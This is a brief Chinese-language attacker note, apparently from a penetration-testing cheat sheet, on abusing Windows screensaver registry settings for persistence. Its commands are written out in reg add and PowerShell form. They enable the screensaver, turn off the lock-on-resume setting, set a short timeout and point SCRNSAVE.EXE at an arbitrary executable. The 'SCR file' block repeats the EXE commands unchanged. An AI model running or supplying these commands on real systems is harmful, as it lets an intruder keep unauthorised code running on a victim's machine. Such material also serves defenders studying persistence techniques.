# 屏幕保护

屏幕保护是Windows的一个功能，使计算机屏幕可以在一段时间不活动后播放动画。\
修改屏保加载的程序可以实现权限维持的效果。

命令行：

```
#To make sure the SCRNSAVE is on
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "0" /f
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
#For EXE file
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Temp\qwqdanchun.exe
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'C:\Temp\qwqdanchun.exe'
#For SCR file
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Temp\qwqdanchun.exe
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'C:\Temp\qwqdanchun.exe'
```


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